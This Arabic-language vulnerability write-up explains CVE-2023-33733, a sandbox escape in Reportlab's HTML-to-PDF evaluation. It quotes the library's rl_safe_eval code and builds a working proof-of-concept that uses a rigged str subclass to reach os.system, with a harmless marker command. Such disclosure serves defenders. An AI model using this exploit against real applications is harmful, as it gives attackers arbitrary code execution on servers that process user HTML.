
شرح تقني مفصّل واستغلال إثبات المفهوم (Proof-of-Concept) لثغرة CVE-2023-33733، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في مكتبة Reportlab الخاصة بلغة Python عبر تجاوز بيئة العزل (sandbox) في معالجة التحويل من HTML إلى PDF.
tl;dr توضح هذه المقالة كيف تم اكتشاف واستغلال ثغرة تنفيذ شيفرة عن بُعد (RCE) في Reportlab. نظرًا لانتشار استخدام Reportlab في معالجة تحويل HTML إلى PDF، فقد تكون هذه الثغرة قابلة للوصول في العديد من التطبيقات التي تعالج ملفات PDF، مما يجعل تصحيحها والانتباه إليها أمرًا مهمًا.
قبل بضعة أيام، أثناء تدقيق تطبيق ويب، لاحظنا أن التطبيق يستخدم مكتبة Reportlab بايثون لإنشاء ملفات PDF ديناميكيًا من مدخلات HTML. وُجدت في Reportlab ثغرة تم تصحيحها سابقًا تؤدي إلى تنفيذ شيفرة. مما يعني أن إيجاد وسيلة لتجاوز التصحيح كان ممتعًا من وجهة نظر المهاجم، حيث سيعيد اكتشاف تنفيذ الشيفرة، خاصة أن مكتبة Reportlab تُستخدم أيضًا في تطبيقات وأدوات أخرى.
بدايةً، نبذة سريعة: Reportlab هو مشروع مفتوح المصدر يسمح بإنشاء مستندات بصيغة PDF باستخدام لغة بايثون. كما يقوم بإنشاء رسوم بيانية وبيانات رسومية في عدة صيغ نقطية ومتجهة بالإضافة إلى PDF.
عانت المكتبة في عام 2019 من استغلال مماثل أدى إلى تنفيذ شيفرة عن بُعد عبر الخاصية Color في وسوم HTML، حيث كان محتوى الخاصية يُقيَّم مباشرةً كتعبير بايثون باستخدام دالة eval مما أدى إلى تنفيذ شيفرة. للتخفيف من المشكلة، طبقت Reportlab بيئة آمنة (sandbox) أطلقت عليها اسم rl_safe_eval والتي تُجرَّد من جميع دوال بايثون المدمجة وتحتوي على دوال مدمجة معدلة للسماح بتنفيذ الشيفرة الآمنة للمكتبة مع منع الوصول إلى أي دوال أو مكتبات خطيرة يمكن أن تؤدي إلى بناء شيفرة بايثون ضارة:
مثال على إجراءات المنع هذه هو أن الدالة المدمجة getattr تم تجاوزها بدالة مقيدة __rl_getitem__ تمنع الوصول إلى أي خصائص خطيرة للكائنات، مثل تلك التي تبدأ بـ __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
كما هو موصوف سابقًا، يعمل التقييم الآمن على تعقيم البيئة من جميع الدوال الخطيرة بحيث لا يكون للشيفرة المنفذة وصول إلى أدوات خطيرة يمكن استخدامها لتنفيذ إجراءات ضارة. ومع ذلك، إذا تم إيجاد وسيلة لتجاوز هذه القيود وتم الوصول إلى إحدى الدوال المدمجة الأصلية، فإن ذلك سيسهل بشكل كبير استغلال البيئة الآمنة.
إحدى الفئات المدمجة التي تم تجاوزها تسمى type، إذا تم استدعاء هذه الفئة بوسيط واحد، فإنها ترجع نوع الكائن. ولكن في حالة استدعائها بثلاث وسائط، فإنها ترجع كائن نوع جديد. هذا هو بشكل أساسي شكل ديناميكي لعبارة class. بمعنى آخر، يمكنها السماح بإنشاء فئة جديدة ترث من فئة أخرى.
الفكرة هنا هي إنشاء فئة جديدة تسمى Word ترث من str، بحيث عندما تُمرَّر إلى getattr المخصصة، تتجاوز الفحوص وتسمح بالوصول إلى خصائص حساسة مثل __code__.
قبل أن تعيد getattr المخصصة الخاصية في التقييم الآمن، تقوم ببعض الفحوص باستدعاء __rl_is_allowed_name__ للتحقق من أمان الخاصية المطلوبة قبل استدعاء الدالة المدمجة getattr وإرجاع النتيجة.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
لتجاوز دالة __rl_is_allowed_name__، يجب أن تحقق الفئة Word ما يلي:
False لاستدعاءات دالة startswith لتجاوز (name.startswith('__')False لاستدعائها الأول لـ __eq__ لتجاوز name in __rl_unsafe__، وبعد الاستدعاء الأول تعيد الرد الصحيح لأنه عندما يتم استدعاء __eq__ بواسطة الدالة المدمجة getattr، يجب أن تعيد النتيجة الصحيحة.الفئة التالية تحقق هذه المعايير:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
الدالة المخصصة type في التقييم الآمن لا تسمح بتمرير ثلاث وسائط:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
تم إيجاد وسيلة لتجاوز ذلك عن طريق استدعاء type على نفسها، مما يسمح باسترداد الدالة المدمجة الأصلية type:
orgTypeFun = type(type(1))
دمج هذين السطرين من الشيفرة يعطي شيئًا مثل هذا:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
عانى الاستغلال الأصلي من عدة قصور جعلته قابلاً للاستغلال فقط على بايثون 3.10، ولحل هذه المشكلات تم اتباع نهج جديد للوصول إلى وحدة os في بايثون.
تقوم مكتبة Reportlab بتجاوز تنفيذ عدة دوال مدمجة وحقنها كمتغيرات شاملة (globals) في سياق التقييم.
مثال على دوال مدمجة تم تجاوزها بدوال مخصصة في rl_safe_eval.py:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
بما أن هذه الدوال تم بناؤها في السياق الشامل، يمكن الوصول إلى المتغيرات والوحدات الشاملة باستخدام الخاصية __globals__ لهذه الدوال المخصصة.
يجب تنفيذ الشيفرة التالية داخل سياق التقييم
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
الآن ما تبقى هو كتابة الاستغلال:
للقيام بذلك، سنعيد بناء دالة من الشيفرة البايتية لدالة مُجمَّعة:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')